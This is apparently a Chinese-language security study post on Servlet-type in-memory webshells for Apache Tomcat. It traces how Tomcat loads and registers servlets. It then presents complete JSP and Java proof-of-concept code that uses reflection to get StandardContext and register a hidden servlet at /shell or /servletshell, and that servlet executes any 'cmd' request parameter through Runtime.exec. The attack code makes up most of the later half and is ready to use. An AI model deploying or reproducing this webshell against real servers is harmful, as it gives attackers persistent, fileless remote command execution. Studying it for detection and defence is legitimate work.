Servlet 型内存马

Servlet 接口核心方法(生命周期)

方法 调用时机 调用次数 作用
init(ServletConfig) 实例化后立即调用 1次 初始化,如读取配置、建立连接
service(ServletRequest, ServletResponse) 每次请求到达时 多次 处理请求并生成响应
destroy() Web 应用卸载时 1次 释放资源

流程init()service()(反复调用) → destroy()

image.png

恶意代码写在 service() 方法里面就行

流程分析

servlet 接口分别有如下几个方法:

1
2
3
4
5
6
7
8
9
10
11
public interface Servlet {  
void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。

ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数

void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。

String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.

void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源
}

web.xml

1
2
3
4
<servlet>
<servlet-name>ServletTest</servlet-name>
<servlet-class>com.example.ServletTest</servlet-class>
</servlet>

案例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.example.demo;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
// 基础恶意类
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("Servlet");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}

}

先把断点下在了 service() 方法,我们可以看到这个地方是有 Filter 的流程

因为Web 应用程序的顺序是 Listener —-> Filter —-> Servlet,所以我们在调用 Servlet 的时候也会看到之前的 Listener 与 Filter 的流程

image.png

断点下到 HTTP11Processor 类的 service() 方法,因为Http11Processor.service()是 Tomcat 接收 HTTP 请求的真正入口。最终调用 Servlet.service()

org.apache.coyote.http11.Http11Processor#service

image.png

这个 HTTP11Processor 类是一个网络请求的类,它的作用是处理数据包,而它的 service() 方法主要是在处理 HTTP 包的请求头,主要做了赋值的工作,后续会通过 ByteBuff 进行数据解析。是很重要,继续往下走

image.png

跟进getAdapter().service(request, response),去到的是 CototeAdapter 类的 service() 方法里, CoyoteAdapter 是 Processor 和 Valve 之间的适配器。

image.png

传入的参数是 org.apache.coyote.Request 和 org.apache.coyote.Response 类型的对象,后面又进行了 getNote() 方法的调用。

image.png

跟进getNote() 方法

image.png

这两个 getNote() 方法都是取 notes 数组里指定 pos 的对象,也就是去 notes[1] 的这个对象,note[1] 的的值是在 CoyoteAdapter#service 里设值的。

我们继续往下看,如果 request == null,进行一系列的赋值。

image.png

后续也都是一些基础的赋值啥的,关键点是这里,这一行是 service() 方法里最关键的步骤了

1
2
connector.getService().getContainer().getPipeline().getFirst().invoke(
request, response);

image.png

image.pngconnector.getService() 返回的是 Connector 关联的 Service 属性,也就是 StandardService 类型的对象。

image.png

connector.getService().getContainer() 返回的是 Service 里的容器 Engine 属性,也就是 StandardEngine 对象。

image.png

connector.getService().getContainer().getPipeline() 返回的是 StandardEngine 里的 Pipeline 属性,也就是 StandardPipeline 对象。

image.png

getFirst()返回的是 basic,即 StandardEngineValve实例,这是 Engine 容器的默认基础阀门,负责将请求传递给下一级容器(Host)

image.png

后续到 StandardEngineValve.invoke(),进行 host 相关判断后,后续是一系列类似 Filter 的 invoke调用链。整体是 Tomcat 对 HTTP 请求的预处理过程。

读取 web.xml

这里的断点位置是 org.apache.catalina.startup.ContextConfig#webConfig,读取 web.xml 的流程与 Listener 型内存马里面基本类似

开始调试,首先我们获取到了此项目里面的 web.xml 文件

image.png

中间内容是处理 Filter,Listener 等信息的代码,直接到 1115 行的 configureContext(webXml);

image.png

跟进,继续往下走,直到 1281 行这里,开始进行 Servlet 的读取。

image.png

创建与装载 StandardWrapper

1282 行的语句,createWrapper(),实际上就是创建了 StandardWrpper,后续代码会对它进行加载与处理。

把 web.xml里的配置(如 class 名、参数)填进去。

image.png

我们继续往下看,后续都是一些添加的操作了,这里我们先跳过了。继续往下看,1334 行,将 Wrapper 添加到 context 中,这里对应的是 StandardContext。

image.png

后续把 web.xml 中的内容装载进了 StandardWrapper 中。也就是 StandardWrapper 的装载

addChild()将 Wrapper (这个 Wrapper 后面我们会看到是 StandardWrapper)放入 StandardContext的 children集合中。

image.png

跟进 addChild() 方法,这时候去到的是 StandardContext 类的 addChild() 方法,它判断这个 Servlet 是否是 JSP 的 Servlet

image.png

运行到最后super.addChild(child);,跟进,ContainerBase 类的 addChild() 方法判断了是否开启全局安全这个配置。

image.png

跟进到 addChildInternal() 方法里面

image.png

它首先判断了 log,也就是日志功能是否开启,重点是

1
child.start();

start 方法,就是启动一个线程,在我们 Servlet 里面,也就是开启此 Servlet 的线程,我们跟进去看 Servlet 的线程被启动之后做了什么事。

image.png

从 ContainerBase 类进入到了 LifecycleBase 类,

image.png

LifecycleBase 类的 start() 方法这里先是进行了一些基础的日志判断,后面肯定是会走到 init() 方法里面进去的,要不然刚开始 start 的一个 Servlet 直接就 stop,是不合理的。

init() 里面就是一些基础的赋值,主要看后面的重点部分 startInternal()

org.apache.catalina.util.LifecycleBase#startInternal

image.png

跟进 oorg.apache.catalina.core.StandardContext#startInternal

image.png

往下走,到 5130 行,调用了 fireLifecycleEvent(),它主要做了一个解析 web.xml 的工作。

image.png

f8 往下走,就会走到 ContextConfig#configureContext 方法这里

image.png

这里回来,又把 web.xml 的东西装了一遍,过程有点套娃,但是也可以理解。

总而言之,addChild() 方法把 servlet 放进了 children 里面,children 也就是 StandardWrapper,如图。

image.png

在 addChild() 方法之后,调用 addServletMappingDecoded() 方法添加映射关系。

将 url 路径和 servlet 类做映射。

总结一下,Servlet 的生成与动态添加依次进行了以下步骤

Tomcat 按照“读取配置 -> 创建对象 -> 注册 -> 启动 -> 绑定路由”的顺序,全自动组装了一个 Servlet。

阶段 正常 Tomcat 启动流程 (容器视角) 内存马注入流程 (攻击者视角) 核心目的
1. 创建对象 Tomcat 读取 web.xml,调用 createWrapper()创建 StandardWrapper对象。 通过反射调用 context.createWrapper()手动创建 StandardWrapper 实例化:让容器拥有一个可以管理的 Servlet 对象。
2. 填充配置 解析 XML,将 <servlet-class><init-param>等信息 set到 Wrapper 中。 通过反射调用 wrapper.setName()wrapper.setServletClass()等方法设置属性。 定义行为:告诉容器这个 Servlet 叫什么、代码在哪、怎么运行。
3. 注册容器 调用 StandardContext.addChild(wrapper),将 Wrapper 放入 childrenMap 中。 通过反射调用 context.addChild(wrapper) 纳入管理:必须把 Servlet 放进 Context 的集合里,容器才会去调度它。
4. 启动服务 调用 wrapper.start()-> init()-> startInternal(),触发 Servlet 生命周期。 通常利用 Tomcat 自动触发的机制,或手动调用相关方法进行初始化。 激活代码:让 Servlet 的 initservice方法真正跑起来。
5. 绑定路由 调用 addServletMappingDecoded(),将 URL 路径与 Servlet 名称关联。 通过反射调用 context.addServletMappingDecoded("/shell", "evilName") 建立通路:让外部请求(如 /shell)能准确找到并触发这个恶意 Servlet。

加载 Servlets

上文我们的分析点是停在了 addChild(),以及 addChild() 之后的 addServletMappingDecoded() 映射。

这其实是因为我们当时在 StandardContext#startInternal 中,进了 fireLifecycleEvent() 方法,又做了一遍 StandardWrapper 装载的工作。

image.png

image.png

loadOnStartup控制 Servlet 是启动时加载还是懒加载;但是没啥太大影响

image.png

Servlet 内存马编写

流程总结

  1. 获取 HTTP 请求:与 Filter 流程相同,请求进入 Tomcat 容器。
  2. 读取 web.xml:在 WebConfig方法中创建 StandardWrapper,所有 Servlet 配置都保存在这个 Wrapper 中。
  3. Wrapper 放入 Context:StandardWrapper被添加到 StandardContext中。
  • 一个 Context 对应一个 Web 应用,可包含多个 Wrapper。
  • 一个 Wrapper 对应一个 Servlet,负责管理其生命周期。
  1. 加载 Servlets:从 Wrapper 中读取已配置的 Servlet,关键属性是 loadOnStartup(控制启动时是否立即加载)。

击关键点

  • StandardWrapper:承载恶意 Servlet 的容器对象,需要动态创建并配置。
  • StandardContext:Web 应用的核心容器,负责管理所有 Wrapper,需要获取其引用。
  • 恶意 Servlet:实现恶意逻辑(如命令执行)的 Servlet 实例。

获取 StandardContext 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%   
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>



<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

编写恶意Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>

创建Wrapper对象

1
2
3
4
5
6
7
8
9
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

将 Wrapper 添加进 StandardContext

1
2
3
4
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>

完整poc

Servlet 型的内存马无法使所有请求都经过恶意代码,只有访问我们设定的 url 才能触发

Servlet 型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
// 获取 StandardContext(通过反射穿透门面)
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%!
// Servlet 实例:只创建一次,常驻内存
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
/* 启动时(或首次请求时)执行一次,用于初始化 */
}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
// 每次请求都会执行这里,但 Servlet 对象还是同一个
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {
/* 应用关闭时执行一次,释放资源 */
}
}
%>

<%
// 动态注册恶意 Servlet(模拟容器启动时的装载过程)
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1); // 启动时立即加载(可选)
wrapper.setName(name);
wrapper.setServlet(shell_servlet); // 直接设置实例,避免容器重新创建
wrapper.setServletClass(shell_servlet.getClass().getName());

// 将 Wrapper 注册到 StandardContext 的 children 中
standardContext.addChild(wrapper);
// 绑定 URL 映射,使外部请求能触发该 Servlet
standardContext.addServletMappingDecoded("/servletshell", name);
%>

image.png

.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import org.apache.catalina.Wrapper;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;

// Servlet 实例:只创建一次,常驻内存
public class ServletShell implements Servlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
/* 启动时(或首次请求时)执行一次,用于初始化 */
}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
// 每次请求都会执行这里,但 Servlet 对象还是同一个
// 1. 通过反射获取 StandardContext(用于后续动态注册自身)
Field reqF = null;
try {
reqF = servletRequest.getClass().getDeclaredField("request");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
reqF.setAccessible(true);
Request req = null;
try {
req = (Request) reqF.get(servletRequest);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
StandardContext standardContext = (StandardContext) req.getContext();

// 2. 动态注册自身(递归注入:每次请求都会重新注册一次,但通常只需一次)
ServletShell servletShell = new ServletShell();
String name = servletShell.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(servletShell);
wrapper.setServletClass(servletShell.getClass().getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", name);

// 3. 执行恶意命令(无回显)
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {
/* 应用关闭时执行一次,释放资源 */
}

// 辅助方法:通过反射获取 Response 对象(用于有回显的命令执行)
public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
HttpServletResponse var2 = null;
try {
Field var3 = var1.getClass().getDeclaredField("response");
var3.setAccessible(true);
var2 = (HttpServletResponse) var3.get(var1);
} catch (Exception var8) {
try {
Field var4 = var1.getClass().getDeclaredField("request");
var4.setAccessible(true);
Object var5 = var4.get(var1);
Field var6 = var5.getClass().getDeclaredField("response");
var6.setAccessible(true);
var2 = (HttpServletResponse) var6.get(var5);
} catch (Exception var7) {
}
}
return var2;
}
}